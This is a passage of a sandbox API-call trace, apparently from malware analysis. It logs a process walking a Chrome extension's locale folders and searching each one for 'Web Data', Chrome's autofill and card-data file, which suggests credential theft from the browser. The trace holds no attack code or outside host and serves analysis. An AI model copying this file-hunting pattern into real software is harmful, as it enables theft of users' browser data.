(hMem=0x2e0100) returned 0x0 [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned 131 [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned 131 [0056.430] lstrlenA (lpString="\\*.*") returned 4 [0056.430] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.430] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs" [0056.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*.*" [0056.431] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.431] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.431] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.431] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.431] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.431] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.431] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.431] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.431] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.431] LocalFree (hMem=0x2e0100) returned 0x0 [0056.431] LocalFree (hMem=0x2e0210) returned 0x0 [0056.431] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.431] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.431] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.431] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.431] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.431] lstrlenA (lpString="\\") returned 1 [0056.431] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.431] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.431] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.431] lstrlenA (lpString="da") returned 2 [0056.431] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.431] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da" [0056.431] LocalFree (hMem=0x2e0100) returned 0x0 [0056.431] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned 131 [0056.431] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned 131 [0056.431] lstrlenA (lpString="\\*.*") returned 4 [0056.431] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.431] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da" [0056.431] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*.*" [0056.431] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.431] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.431] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.431] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.431] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.431] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.431] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.431] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.431] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.432] LocalFree (hMem=0x2e0100) returned 0x0 [0056.432] LocalFree (hMem=0x2e0210) returned 0x0 [0056.432] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.432] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.432] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.432] lstrlenA (lpString="\\") returned 1 [0056.432] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.432] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.432] lstrlenA (lpString="de") returned 2 [0056.432] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.432] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de" [0056.432] LocalFree (hMem=0x2e0100) returned 0x0 [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned 131 [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned 131 [0056.432] lstrlenA (lpString="\\*.*") returned 4 [0056.432] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.432] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de" [0056.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*.*" [0056.432] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.432] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.432] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.432] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.432] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.432] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.432] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.432] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.432] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.432] LocalFree (hMem=0x2e0100) returned 0x0 [0056.432] LocalFree (hMem=0x2e0210) returned 0x0 [0056.432] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.432] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.432] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.432] lstrlenA (lpString="\\") returned 1 [0056.432] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.432] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.432] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.432] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.432] lstrlenA (lpString="el") returned 2 [0056.433] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.433] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el" [0056.433] LocalFree (hMem=0x2e0100) returned 0x0 [0056.433] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned 131 [0056.433] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned 131 [0056.433] lstrlenA (lpString="\\*.*") returned 4 [0056.433] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.433] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el" [0056.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*.*" [0056.433] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.433] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.433] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.433] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.433] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.433] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.433] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.433] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.433] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.433] LocalFree (hMem=0x2e0100) returned 0x0 [0056.433] LocalFree (hMem=0x2e0210) returned 0x0 [0056.433] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.433] lstrcmpiA (lpString1=".", lpString2="en_GB") returned -1 [0056.433] lstrcmpiA (lpString1="..", lpString2="en_GB") returned -1 [0056.433] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.433] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.433] lstrlenA (lpString="\\") returned 1 [0056.433] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.433] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.433] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.434] lstrlenA (lpString="en_GB") returned 5 [0056.434] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.434] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.434] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB" [0056.434] LocalFree (hMem=0x2e0100) returned 0x0 [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned 134 [0056.434] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned 134 [0056.434] lstrlenA (lpString="\\*.*") returned 4 [0056.434] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.434] lstrcpyA (in: lpString1=0x2e0320, 